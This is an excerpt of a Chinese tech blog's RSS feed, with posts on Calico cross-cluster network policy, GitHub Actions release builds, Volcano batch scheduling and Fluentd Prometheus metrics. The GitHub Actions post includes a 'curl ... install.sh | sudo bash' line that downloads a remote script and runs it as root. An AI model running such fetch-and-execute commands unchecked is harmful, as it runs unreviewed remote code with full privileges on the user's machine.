              policy.semaphore.uw.io/namespace=sys-log
Annotations:  projectcalico.org/metadata: {&amp;quot;uid&amp;quot;:&amp;quot;c7569765-a47d-424c-9533-80e4a7c201d6&amp;quot;,&amp;quot;creationTimestamp&amp;quot;:&amp;quot;2021-04-09T15:04:43Z&amp;quot;}
API Version:  crd.projectcalico.org/v1
Kind:         GlobalNetworkSet
Spec:
  Nets:
    10.4.5.2/32
    10.4.4.2/32
    10.4.1.3/32
    10.4.0.13/32
    10.4.3.3/32
    10.4.2.4/32
Events:  &amp;lt;none&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个组合包含了远端对象的 IP 地址，可以用于 Calico 的网络策略，定义允许进入的流量：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: crd.projectcalico.org/v1
kind: NetworkPolicy
metadata:
  name: allow-to-fluentd
spec:
  selector: app.kubernetes.io/name == &#39;fluentd&#39;
  types:
    - Ingress
  ingress:
    - action: Allow
      protocol: TCP
      source:
        selector: &amp;gt;-
          policy.semaphore.uw.io/name == &#39;forwarder&#39; &amp;amp;&amp;amp;
          policy.semaphore.uw.io/namespace == &#39;sys-log&#39; &amp;amp;&amp;amp;
          policy.semaphore.uw.io/cluster == &#39;gcp&#39;
        namespaceSelector: global()
      destination:
        ports:
          - 8889
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上边的规则允许来自远端 &lt;code&gt;forwarder&lt;/code&gt; 到本地 &lt;code&gt;fluentd&lt;/code&gt; 的访问。&lt;/p&gt;

&lt;h2 id=&#34;后记&#34;&gt;后记&lt;/h2&gt;

&lt;p&gt;这套东西对我们来说很有用，但是它的局限性也是显而易见的——如果恰巧适用于读者的环境和需求，那自然很好；如果不是，也希望读者在本文中得到一点启发。&lt;/p&gt;

&lt;p&gt;没有 Calico 和 WireGuard，这个方案可能就难于落地了，方案的复杂部分主要是由这两个项目完成的，也正因为此，我们对我们的方案充满信心，这里对他们致以崇高敬意。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Semaphore WireGuard：&lt;code&gt;https://github.com/utilitywarehouse/semaphore-wireguard&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Semaphore WireGuard 部署示例：&lt;code&gt;https://github.com/utilitywarehouse/semaphore-wireguard/tree/main/deploy/example&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Semaphore Service Mirror：&lt;code&gt;https://github.com/utilitywarehouse/semaphore-service-mirror&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Semaphore Service Mirror 部署示例：&lt;code&gt;https://github.com/utilitywarehouse/semaphore-service-mirror/tree/master/deploy/example&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Semaphore Policy：&lt;code&gt;https://github.com/utilitywarehouse/semaphore-policy&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Semaphore Policy 部署示例：&lt;code&gt;https://github.com/utilitywarehouse/semaphore-policy/tree/main/deploy&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>用 Github Action 自动发布二进制包</title>
      <link>/post/auto-build-with-github-action/</link>
      <pubDate>Fri, 17 Sep 2021 19:36:23 +0800</pubDate>
      <guid>/post/auto-build-with-github-action/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://github.com/features/actions&#34; target=&#34;_blank&#34;&gt;Github Actions&lt;/a&gt; 是 Github 提供的一个自动化流程工具，编写一段 YAML，随代码一起发布，根据脚本中定义的触发事件，能够完成 Lint、Build、Push Image 等等操作，在 Actions Market 中包含数千个功能各异的项目，能够给软件作者很大的帮助。&lt;/p&gt;

&lt;p&gt;在发布 Github 项目版本时，Golang 之类的项目往往都需要执行构建、打包等动作，除了自己动手之外，也可以用 Github Action（也不排除使用 Travis CI 等自动化服务）来完成任务。&lt;/p&gt;

&lt;h2 id=&#34;定义触发条件&#34;&gt;定义触发条件&lt;/h2&gt;

&lt;p&gt;Github Action 是使用 Github 事件来触发的，我们现在的需求是在生成 Release 的时候完成任务，因此可以如此定义触发事件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;on:
  release:
    types:
    - created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Release 相关事件除了 &lt;code&gt;created&lt;/code&gt; 之外，还包括 &lt;code&gt;published&lt;/code&gt;、&lt;code&gt;unpublished&lt;/code&gt;、&lt;code&gt;edited&lt;/code&gt;、&lt;code&gt;deleted&lt;/code&gt;, 以及 &lt;code&gt;prereleased&lt;/code&gt;。对象详情请参看附录 Reference 链接。&lt;/p&gt;

&lt;h2 id=&#34;交叉构建&#34;&gt;交叉构建&lt;/h2&gt;

&lt;p&gt;确定触发条件之后，下一个任务就是构建了，golang 项目通常需要进行多平台的交叉编译，在 Github Action 中可以用 Matrix 特性做个循环：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;    strategy:
      matrix:
        include:
          - goarch: amd64
            goos: linux
          - goarch: amd64
            goos: darwin
          - goarch: arm64
            goos: linux
          - goarch: arm64
            goos: darwin
    steps:
    - uses: actions/checkout@master
    - name: Set up Go
      uses: actions/setup-go@v2
      with: 
        go-version: 1.16
    - name: Making kubectl-karmada
      run: make kubectl-karmada
      env:
        GOOS: ${{ matrix.goos }}
        GOARCH: ${{ matrix.goarch }}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里针对 arm64、amd64 和 Linux、Darwin 的组合进行了交叉编译：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;checkout@master&lt;/code&gt; 获取代码&lt;/li&gt;
&lt;li&gt;&lt;code&gt;setup-go@v2&lt;/code&gt; 设置 golang 环境，并在 &lt;code&gt;with&lt;/code&gt; 字句中指定了 &lt;code&gt;1.16&lt;/code&gt; 版本&lt;/li&gt;
&lt;li&gt;&lt;code&gt;make&lt;/code&gt; 这里使用了 Matrix 定义的变量，循环构建每个组合；&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;打包上传&#34;&gt;打包上传&lt;/h2&gt;

&lt;p&gt;完成构建之后，对生成的文件进行打包，并进行上传：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;    - name: Packaging...
      run: tar czf kubectl-karmada-${{ matrix.goos }}-${{ matrix.goarch }}.tgz kubectl-karmada LICENSE
    - name: Uploading assets...
      if: ${{ !env.ACT }}
      id: upload-release-asset 
      uses: actions/upload-release-asset@v1
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
      with:
        upload_url: ${{ github.event.release.upload_url }}
        asset_path: ./kubectl-karmada-${{ matrix.goos }}-${{ matrix.goarch }}.tgz
        asset_name: kubectl-karmada-${{ matrix.goos }}-${{ matrix.goarch }}.tgz
        asset_content_type: application/gzip
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上传这里用 &lt;code&gt;actions/upload-release-asset@v1&lt;/code&gt; 镜像来完成任务。其中用到的事件变量为 &lt;code&gt;github.event.release.upload_url&lt;/code&gt;，代表触发事件的 Release 的上传地址。&lt;/p&gt;

&lt;h2 id=&#34;本地调试&#34;&gt;本地调试&lt;/h2&gt;

&lt;p&gt;上面的构建过程中有个执行条件 &lt;code&gt;if: ${{ !env.ACT }}&lt;/code&gt;，环境变量中不存在 &lt;code&gt;ACT&lt;/code&gt; 的时候才执行这个步骤，这个定义是用来做什么的？&lt;/p&gt;

&lt;p&gt;Action 比较复杂的时候，调试就成了难题。要做线上操作，才能生成 Github 事件，才能触发 Action，这个过程的效率明显是很难提高的。&lt;a href=&#34;https://github.com/nektos/act&#34; target=&#34;_blank&#34;&gt;nektos/act&lt;/a&gt; 就能部分地解决这个问题。Act 使用 Docker 环境模拟 Github 的运行环境，能够方便地在本地进行调试，能够减少很多对 Github 远程环境的操作。下面简单地试用一下。&lt;/p&gt;

&lt;p&gt;在 Mac 下面可以用 &lt;code&gt;brew install act&lt;/code&gt; 进行安装；Linux 下，则可以在命令行中输入 &lt;code&gt;curl https://raw.githubusercontent.com/nektos/act/master/install.sh | sudo bash&lt;/code&gt;。注意前面说到，Act 是依赖 Docker 的，使用之前必须安装 Docker。&lt;/p&gt;

&lt;p&gt;输入 &lt;code&gt;act --help&lt;/code&gt; 能看到命令的帮助内容，其中有几个重要的选项：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-n&lt;/code&gt;：Dry run，用于校验语法，查看基本运行逻辑；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-j&lt;/code&gt;：直接指定触发 Job；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;g&lt;/code&gt;：图形化的方式来展示 Action 的流程；&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;-e&lt;/code&gt;：可以编写一个 JSON 文件来描述 Github 事件，例如一个 PR：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;pull_request&amp;quot;: {
    &amp;quot;head&amp;quot;: {
      &amp;quot;ref&amp;quot;: &amp;quot;sample-head-ref&amp;quot;
    },
    &amp;quot;base&amp;quot;: {
      &amp;quot;ref&amp;quot;: &amp;quot;sample-base-ref&amp;quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;综上，假设我们的任务命名为 &lt;code&gt;release&lt;/code&gt;，就可以用 &lt;code&gt;act -j release-assests&lt;/code&gt; 进行测试了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ act -j release-assests
[Build Release/release linux/amd64-3] 🧪  Matrix: map[goarch:arm64 goos:linux]
[Build Release/release linux/amd64-2] 🧪  Matrix: map[goarch:amd64 goos:darwin]
[Build Release/release linux/amd64-2] 🚀  Start image=catthehacker/ubuntu:act-latest
...
[Build Release/release linux/amd64-4] ⭐  Run Packaging...
[Build Release/release linux/amd64-4]   🐳  docker exec cmd=[bash --noprofile --norc -e -o pipefail /Users/dustise/Dropbox/Synced/lab/karmada/source/workflow/3] user=
[Build Release/release linux/amd64-1]   ✅  Success - Packaging...
[Build Release/release linux/amd64-4]   ✅  Success - Packaging...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;本地运行通过后，可以 Push 代码，创建 Release 来测试上传结果。&lt;/p&gt;

&lt;h2 id=&#34;附录&#34;&gt;附录&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Github Action Reference：&lt;code&gt;https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>用 Volcano 填补私有集群的空闲时间</title>
      <link>/post/volcano-mining/</link>
      <pubDate>Tue, 07 Sep 2021 18:41:55 +0800</pubDate>
      <guid>/post/volcano-mining/</guid>
      <description>

&lt;h2 id=&#34;引子&#34;&gt;引子&lt;/h2&gt;

&lt;p&gt;在私有 Kubernetes 场景下，因为硬件规模是一定的，不太会随着业务高峰低谷进行裁撤，因此缩减下来的服务资源并不能带来成本上的优势，如果在闲时~&lt;del&gt;挖挖矿&lt;/del&gt;~跑跑 AI 大数据什么的是不是可以贴补一下家用呢？Volcano 值得一试。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://volcano.sh/zh/&#34; target=&#34;_blank&#34;&gt;Volcano（https://volcano.sh/zh/）&lt;/a&gt; 是“一个用于高性能工作负载场景下基于Kubernetes 的容器批量调度引擎”，项目主页上罗列了为数众多的应用案例和适配的 AI、大数据平台。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;它提供了Kubernetes目前缺少的一套机制，这些机制通常是许多高性能 工作负载所必需的，包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;机器学习/深度学习&lt;/li&gt;
&lt;li&gt;生物学计算/基因计算&lt;/li&gt;
&lt;li&gt;大数据应用
这些类型的应用程序通常运行在像 Tensorflow、Spark、PyTorch、 MPI 等通用领域框架上，Volcano 无缝对接这些框架。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;场景&#34;&gt;场景&lt;/h2&gt;

&lt;p&gt;假设这样一种场景，忙时会占用集群 60% 的 CPU 资源，而闲时则只需要一半，我们需要这样一个能力：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;闲时自动启动任务&lt;/li&gt;
&lt;li&gt;多个任务排队完成&lt;/li&gt;
&lt;li&gt;如果主业务启动，则自行停止队列任务&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;使用 Volcano，简单的几个 YAML 就能完成任务。&lt;/p&gt;

&lt;h2 id=&#34;部署&#34;&gt;部署&lt;/h2&gt;

&lt;p&gt;可以用 YAML 直接部署 Volcano，K8s 版本要求在 1.13-1.21 之间（1.22 因为 CRD 资源组升级为 v1，需要进行一些修改才能部署），部署文件如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;x86_64&lt;/strong&gt;：&lt;code&gt;https://raw.githubusercontent.com/volcano-sh/volcano/master/installer/volcano-development.yaml&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;arm64&lt;/strong&gt;：&lt;code&gt;https://raw.githubusercontent.com/volcano-sh/volcano/master/installer/volcano-development-arm64.yaml&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;部署之后，会生成若干 CRD，以及一个 &lt;code&gt;volcano-system&lt;/code&gt; 命名空间，其中包含 Volcano 的工作负载。&lt;/p&gt;

&lt;h2 id=&#34;启动工作负载&#34;&gt;启动工作负载&lt;/h2&gt;

&lt;p&gt;我用了一个单节点 Kubernetes 集群，剩余可用资源刚好 1 CPU：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl describe node single | grep -E &amp;quot;^\s+cpu\s+&amp;quot;
  cpu                1 (50%)     0 (0%)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建一个 Deployment，为方便控制，我们使用两个占用 300m CPU 的实例（源码见附录 &lt;code&gt;workload.yaml&lt;/code&gt;）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl apply -f workload.yaml
deployment.apps/sleep created
$ kubectl describe node single | grep -E &amp;quot;^\s+cpu\s+&amp;quot;
  cpu                1600m (80%)  600m (30%)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，CPU Request 已经上升至 80%。&lt;/p&gt;

&lt;h2 id=&#34;创建-volcano-队列&#34;&gt;创建 Volcano 队列&lt;/h2&gt;

&lt;p&gt;源码见附录 &lt;code&gt;queue.yaml&lt;/code&gt;，创建之后查看其状态：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f queue.yaml
queue.scheduling.volcano.sh/q800 created
$ kubectl describe queue q800
...
Spec:
  Capability:
    Cpu:        800m
  Reclaimable:  false
  Weight:       1
Status:
  State:  Open
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面结果表明，创建了一个 CPU 容量为 &lt;code&gt;800m&lt;/code&gt; 且状态开放的队列。&lt;/p&gt;

&lt;h2 id=&#34;创建-valcano-任务&#34;&gt;创建 Valcano 任务&lt;/h2&gt;

&lt;p&gt;在创建任务之前，我们首先要给 Volcano 和工作负载分别创建一个 PriorityClass：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: scheduling.k8s.io/v1
description: Used for volcano jobs
kind: PriorityClass
metadata:
  name: volcano-task
preemptionPolicy: PreemptLowerPriority
value: -1
---
apiVersion: scheduling.k8s.io/v1
description: Used for workloads
kind: PriorityClass
metadata:
  name: workload-task
preemptionPolicy: PreemptLowerPriority
value: 1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;没有标明 &lt;code&gt;PriorityClass&lt;/code&gt; 的 Pod ，其缺省优先级为 0，所以使用 -1 优先级的 Pod 就属于人见人踩的小角色了。而 &lt;code&gt;workload-task&lt;/code&gt; 声明的 &lt;code&gt;PreemptLowerPriority&lt;/code&gt; 策略，会在调度过程中抢占低优先级任务的资源。&lt;/p&gt;

&lt;p&gt;接下来定义一个 Volcano 任务，源码见 &lt;code&gt;job1.yaml&lt;/code&gt;，定义其优先级为刚刚创建的 &lt;code&gt;volcano-task&lt;/code&gt;。这个 Job 配置最小可用副本为 2，和 Deployment 的定义类似，必须有两个 Pod 全部启动。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl apply -f job.yaml
job.batch.volcano.sh/jobb created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看各种对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ vcctl job list
Name   Creation       Phase       JobType     Replicas    Min   Pending   Running   Succeeded   Failed    Unknown     RetryCount
jobb   2021-09-09     Pending     Batch       2           2     2         0         0           0         0           0
$ kubectl get pods
NAME                     READY   STATUS    RESTARTS   AGE
jobb-sleep-0             0/1     Pending   0          7s
jobb-sleep-1             0/1     Pending   0          7s
sleep-6458fc8f96-qr6s6   1/1     Running   0          14m
sleep-6458fc8f96-tmf9k   1/1     Running   0          14m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看到任务和 Pod 都处于 Pending 状态，查看 Pod 的状态，会发现 Pending 原因是：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl describe po jobb-sleep-0
...
Warning  FailedScheduling  8m22s  volcano  all nodes are unavailable: 1 node(s) resource fit failed.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;因为资源不足，导致任务被挂起，这是我们期待的效果。&lt;/p&gt;

&lt;h2 id=&#34;工作负载扩缩容&#34;&gt;工作负载扩缩容&lt;/h2&gt;

&lt;p&gt;假设闲时工作负载资源需求降低 50%，看看会发生什么：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl scale deployment sleep --replicas=1
deployment.apps/sleep scaled
$ vcctl job list
Name   Creation       Phase       JobType     Replicas    Min   Pending   Running   Succeeded   Failed    Unknown     RetryCount
jobb   2021-09-09     Running     Batch       2           2     0         2         0           0         0           0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;此时看到队列中的 Job 已经启动运行。&lt;/p&gt;

&lt;p&gt;如果工作负载开始增加，优先级就会发生作用了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;dustise:mine/ $ kubectl scale deployment sleep --replicas=2                                                               [15:15:25]
deployment.apps/sleep scaled
dustise:mine/ $ kubectl get pods                                                                                          [15:15:29]
NAME                     READY   STATUS        RESTARTS   AGE
jobb-sleep-0             0/1     Pending   0          4m17s
jobb-sleep-1             0/1     Pending   0          4m17s
sleep-7f67d6c47c-5cp7s   1/1     Running   0          5m12s
sleep-7f67d6c47c-jrsqh   1/1     Running   0          4m29s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到 &lt;code&gt;jobb&lt;/code&gt; 已经退回 Pending 状态，任务回到排队状态。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vcctl queue list
Name                     Weight  State   Inqueue Pending Running
...
q800                     1       Open    1       0       0       0
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;后记&#34;&gt;后记&lt;/h2&gt;

&lt;p&gt;也不知道 Volcano 啥时候弄个挖矿调度器。。&lt;/p&gt;

&lt;h2 id=&#34;源码&#34;&gt;源码&lt;/h2&gt;

&lt;h3 id=&#34;workload-yaml&#34;&gt;workload.yaml&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  creationTimestamp: null
  labels:
    app: sleep
  name: sleep
spec:
  replicas: 2
  selector:
    matchLabels:
      app: sleep
  template:
    metadata:
      labels:
        app: sleep
    spec:
      containers:
      - image: dustise/sleep:v0.9.8
        name: sleep
        resources:
          requests:
            cpu: 300m
          limits:
            cpu: 300m
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;job1-yaml&#34;&gt;job1.yaml&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: batch.volcano.sh/v1alpha1
kind: Job
metadata:
  name: jobb
spec:
  minAvailable: 2
  schedulerName: volcano
  queue: q800
  priorityClassName: volcano-task
  policies:
    - event: PodEvicted
      action: RestartJob
  tasks:
    - replicas: 2
      name: sleep
      policies:
      - event: TaskCompleted
        action: CompleteJob
      template:
        spec:
          containers:
          - image: dustise/sleep:v0.9.8
            name: sleep
            resources:
              requests:
                cpu: 300m
              limits:
                cpu: 300m
            restartPolicy: Never
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;queue-yaml&#34;&gt;queue.yaml&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: scheduling.volcano.sh/v1beta1
kind: Queue
metadata:
  name: q800
spec:
  weight: 1
  reclaimable: false
  capability:
    cpu: 800m
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>（空想场景）使用 Prometheus 监控特定日志行数</title>
      <link>/post/line-count-to-promethes/</link>
      <pubDate>Wed, 11 Aug 2021 20:06:06 +0800</pubDate>
      <guid>/post/line-count-to-promethes/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;感谢 @云原生小白 提供线索&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;在系统的监控过程中，有时我们只是想要知道一些特定内容的出现数量或者频度，并不关心他的具体内容，而且也不想特意部署一个 Loki 或者 Elasticsearch，这时就可以使用 Fluentd 花里胡哨的插件功能来完成任务了。&lt;/p&gt;

&lt;p&gt;Fluentd 有一个 &lt;a href=&#34;https://docs.fluentd.org/monitoring-fluentd/monitoring-prometheus&#34; target=&#34;_blank&#34;&gt;Prometheus 插件&lt;/a&gt;，能够提供 Prometheus 接口提供采集数据，插件需要用 &lt;code&gt;fluent-gem&lt;/code&gt; 进行安装，如果在 Docker 中的话，可以使用下列 Dockerfile：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM fluentd:v1.9.1-1.0
USER root
RUN fluent-gem install fluent-plugin-prometheus
USER fluent
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个插件的基本配置方式是，提供一个 &lt;code&gt;promethues&lt;/code&gt; 的类型，包含一个 &lt;code&gt;&amp;lt;metric&amp;gt;&lt;/code&gt; 元素用于对指标结构进行定义。例如文档中使用的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;  @type prometheus
  &amp;lt;metric&amp;gt;
    name fluentd_input_status_num_records_total
    type counter
    desc The total number of incoming records
    &amp;lt;labels&amp;gt;
      tag ${tag}
      hostname ${hostname}
    &amp;lt;/labels&amp;gt;
  &amp;lt;/metric&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这种指标放在 &lt;code&gt;&amp;lt;filter&amp;gt;&lt;/code&gt; 用于指示输入数量，而放在 &lt;code&gt;&amp;lt;match&amp;gt;&lt;/code&gt; 中则可以监控输出数量。&lt;/p&gt;

&lt;p&gt;这里定义了一个名为 &lt;code&gt;fluentd_input_status_num_records_total&lt;/code&gt; 的指标，其类型为 &lt;code&gt;counter&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;定义指标之后，还要将其暴露给 Prometheus：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;&amp;lt;source&amp;gt;
  @type prometheus
  bind 0.0.0.0
  port 24231
  metrics_path /metrics
&amp;lt;/source&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这段配置定义了一个监听 &lt;code&gt;24231&lt;/code&gt; 端口的 Prometheus 端点，路径为 &lt;code&gt;/metrics&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;举个栗子&#34;&gt;举个栗子&lt;/h2&gt;

&lt;p&gt;接下来用一个完整场景来展示这个例子，假设我们要监控 &lt;code&gt;/logs/input.txt&lt;/code&gt; 中的 &lt;code&gt;warning&lt;/code&gt; 数量，会采用文末的完整配置，分段解释如下：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;source&amp;gt;&lt;/code&gt; 段定义采集文件名称&lt;/li&gt;
&lt;li&gt;第一个 &lt;code&gt;&amp;lt;filter&amp;gt;&lt;/code&gt; 中使用 &lt;code&gt;@type promethues&lt;/code&gt; 来监控输入数量，生成指标 &lt;code&gt;fluentd_input_status_num_records_total&lt;/code&gt;，类型为 &lt;code&gt;counter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;第二个 &lt;code&gt;&amp;lt;filter&amp;gt;&lt;/code&gt; 用 &lt;code&gt;@type grep&lt;/code&gt; 的正则表达式插件对输入进行过滤&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;match&amp;gt;&lt;/code&gt; 节中使用 &lt;code&gt;@type copy&lt;/code&gt; 对输出进行分流&lt;/li&gt;
&lt;li&gt;第一个 &lt;code&gt;&amp;lt;store&amp;gt;&lt;/code&gt; 输出 &lt;code&gt;fluentd_output_status_num_records_total&lt;/code&gt; 的 Promethues 指标，对过滤出来的文本进行计数&lt;/li&gt;
&lt;li&gt;第二个 &lt;code&gt;&amp;lt;store&amp;gt;&lt;/code&gt; 将输出内容展示在 &lt;code&gt;stdout&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;配置结束之后启动采集过程，可以使用类似如下脚本：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
docker run -it --rm \
        -v $(pwd)/etc:/etc/fluentd \
        -v $(pwd)/log:/data \
        -p 12345:12345 \
        fluentd:prom \
        fluentd -c /etc/fluentd/fluentd.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;启动之后，我们向日志中输出内容，例如 &lt;code&gt;echo &amp;quot;warn&amp;quot; &amp;gt;&amp;gt; input.txt&lt;/code&gt;，会看到 &lt;code&gt;fluentd&lt;/code&gt; 日志输出了类似 &lt;code&gt;2021-08-14 07:06:55.688191458 +0000 custom.log: {&amp;quot;message&amp;quot;:&amp;quot;warn&amp;quot;}&lt;/code&gt; 的内容，如果使用 &lt;code&gt;curl&lt;/code&gt; 访问开放出来的 &lt;code&gt;:12345/metrics&lt;/code&gt;，会看到输出中的如下内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;fluentd_input_status_num_records_total{tag=&amp;quot;custom.log&amp;quot;,hostname=&amp;quot;757214c8a91a&amp;quot;} 2.0      │➜  log  vim fluentd.conf
fluentd_output_status_num_records_total{tag=&amp;quot;custom.log&amp;quot;,hostname=&amp;quot;757214c8a91a&amp;quot;} 1.0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这是很常见的指标格式，如果在 Kubernetes 中，对 Pod 进行注解，纳入采集范围，就可以像其它监控指标一样使用了。&lt;/p&gt;

&lt;h2 id=&#34;fluentd-conf&#34;&gt;fluentd.conf&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;&amp;lt;source&amp;gt;
  @type tail
  path /data/input.txt
  pos_file /data/input.pos
  tag custom.log
  &amp;lt;parse&amp;gt;
    @type none
  &amp;lt;/parse&amp;gt;
&amp;lt;/source&amp;gt;
&amp;lt;filter custom.**&amp;gt;
  @type prometheus
  &amp;lt;metric&amp;gt;
    name fluentd_input_status_num_records_total
    type counter
    desc The total number of incoming records
    &amp;lt;labels&amp;gt;
      tag ${tag}
      hostname ${hostname}
    &amp;lt;/labels&amp;gt;
  &amp;lt;/metric&amp;gt;
&amp;lt;/filter&amp;gt;
&amp;lt;filter custom.**&amp;gt;
  @type grep
  &amp;lt;regexp&amp;gt;
    key message
    pattern /warn/
  &amp;lt;/regexp&amp;gt;
&amp;lt;/filter&amp;gt;
&amp;lt;match custom.**&amp;gt;
  @type copy
  &amp;lt;store&amp;gt;
    @type prometheus
    &amp;lt;metric&amp;gt;
      name fluentd_output_status_num_records_total
      type counter
      desc The total number of outgoing records
      &amp;lt;labels&amp;gt;
        tag ${tag}
        hostname ${hostname}
      &amp;lt;/labels&amp;gt;
    &amp;lt;/metric&amp;gt;
  &amp;lt;/store&amp;gt;
  &amp;lt;store&amp;gt;
    @type stdout
&amp;lt;/match&amp;gt;

&amp;lt;source&amp;gt;
  @type prometheus
  bind 0.0.0.0
  port 12345
  metrics_path /metrics
&amp;lt;/source&amp;gt;

&amp;lt;source&amp;gt;
  @type prometheus_output_monitor
  interval 10
  &amp;lt;labels&amp;gt;
    hostname ${hostname}
  &amp;lt;/labels&amp;gt;
&amp;lt;/source&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>关于账号的一点闲话</title>
      <link>/post/rocket-and-account/</link>
      <pubDate>Sun, 08 Aug 2021 20:15:03 +0800</pubDate>
      <guid>/post/rocket-and-account/</guid>
      <description>&lt;p&gt;“你想想，我们厂是造火箭的，造个电动车还不是&amp;hellip;”，试驾时，销售小哥如是说，虽说并不认同，不过我既不会造车、也不会造火箭，并不具备一击制敌的能力，所以也没把嘴边的一句“隔行如隔山”喷出来。&lt;/p&gt;

